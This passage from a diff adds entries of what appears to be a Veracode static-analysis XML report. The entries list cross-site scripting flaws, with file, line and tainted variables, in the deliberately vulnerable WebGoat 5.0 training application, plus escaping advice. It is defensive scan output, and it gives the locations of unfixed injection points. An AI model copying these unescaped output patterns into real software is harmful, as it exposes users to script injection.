+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"241\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"263\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"4\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"172\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"260\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"48\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"80\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"170\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"29\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"172\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"205\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"174\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"85\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"178\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"59\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"124\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
